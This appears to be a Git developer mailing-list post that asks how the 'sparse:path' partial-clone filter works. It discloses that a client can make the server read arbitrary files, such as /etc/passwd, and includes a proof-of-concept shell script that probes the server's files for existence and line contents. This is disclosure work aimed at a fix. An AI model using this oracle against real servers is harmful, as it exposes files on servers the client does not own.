how does "clone --filter=sparse:path" work?

[cc-ing people who worked on or seem interested in partial-clone filters]

I've been exploring the partial-clone options a bit, and took a look at the "sparse:path" option. I had some confusion initially, because I expected it work something like this:

  git clone --filter=sparse:path=Documentation .

But it really doesn't take an in-repo path. You have to specify a path to a file that contains a file with .gitignore patterns. Except they're actually _inverted_ patterns (i.e., what to include). Which confused me again, but I guess makes sense if these are meant to be adapted from sparse-checkout files.

So my first question is: how is this meant to be used?

I guess the idea is that somebody (the repo admin?) makes a set of pre-made profiles, with each profile mentioning some subset of paths. And then when you clone, you say, "I want the foo profile". How is that profile stored and accessed?

If it's a blob in the repository, I think you can use something like "--filter=sparse:oid=profiles:foo". And then after cloning, you'd do "git cat-file blob profiles:foo >.git/sparse-checkout" or similar. That seems like something that could be wrapped up in a single clone option, but I can't find one; I won't be surprised if it simply hasn't happened yet.

But if it's a path, then what? I'd imagine that you'd "somehow" get a copy of the sparse profile you want out-of-band. And then you'd say "I want to clone with the profile in this file", and then copy it into the sparse-checkout file to do the checkout.

But the sparse-checkout file in the filter is not expanded locally, with patterns sent over the wire. The _filename_ is sent over the wire, and then upload-pack expands it. So you can't specify an arbitrary set of patterns; you have to know about the profile names (how?) on the server. That's not very flexible, though I imagine it may make certain things easier on the server (e.g., if you pack in such a way to efficiently serve only particular profiles).

But I'm also concerned it's dangerous. We're reading gitignore patterns from an arbitrary name on the server's filesystem, with that name coming from an untrusted client. So I can do:

  git clone --filter=sparse:path=/etc/passwd $remote

and the server will read /etc/passwd. There's probably a lot of mischief you can get up to with that. Sadly reading /proc/self/mem doesn't work, because the gitignore code fstat()s the file to find out how much to read, and the st_size there is 0. But there are probably others (/proc/kcore is a fun one, but nobody is running their git server as root, right?).

Below is a proof of concept script that uses this as an oracle to explore the filesystem, as well as individual lines of files.

Should we simply be disallowing sparse:path filters over upload-pack?

-Peff

-- >8 -- # Set this to host:repo.git to see a real cross-machine connection (which makes # it more obvious which side is reading which files). For a simulated local # one, we'll use --no-local to make sure we really run upload-pack. SERVER=server.git

# Do these steps manually on the remote side if you're trying it cross-server.
case "$SERVER" in
*:*)
	;;
*)
	# Imagine a server with a repository users can push to, with filters enabled.
	git init -q --bare $SERVER
	git -C $SERVER config uploadpack.allowfilter true

	# Imagine the server has a file outside of the repo we're interested in.
	echo foo >/tmp/secret
	;;
esac

# Some base setup. git clone -q $SERVER local git -C local commit -q --allow-empty -m 'some base commit' git -C local push -q

# We can find out whether a path exists on the filesystem.
probe_file () {
	# The remote upload-pack will barf if it cannot read the path $1.
	rm -rf result
	if git clone --bare --no-local --filter=sparse:path=$1 \
		$SERVER result >/dev/null 2>&1
	then
		echo "$1 exists"
	else
		echo "$1 does not exist"
	fi
}
probe_file /tmp/missing
probe_file /tmp/secret

# We can also check individual lines in a file.
probe_line () {
	# Make a probe that contains the path $2.
	(
		cd local
		echo $2 >$2
		git add $2
		git commit -m "probe for $2"
		git push
	) >/dev/null 2>&1

	# And then fetch that probe with the filter to see
	# if it was included. This needs to be bare so we don't
	# do a followup fetch to checkout.
	rm -rf result
	git clone -q --bare --no-local --filter=sparse:path=$1 \
		$SERVER result

	# We have all the information we need now, but we have to convince Git
	# to tell it to us. There's no way to set fetch_if_missing externally,
	# but we can drop the remote, which means that excluded paths
	# will result in an error.
	git -C result remote rm origin
	if git -C result cat-file -t HEAD:$2 >/dev/null 2>&1
	then
		echo "$1 contains line $2"
	else
		echo "$1 does not contain line $2"
	fi
}
probe_line /tmp/secret foo
probe_line /tmp/secret bar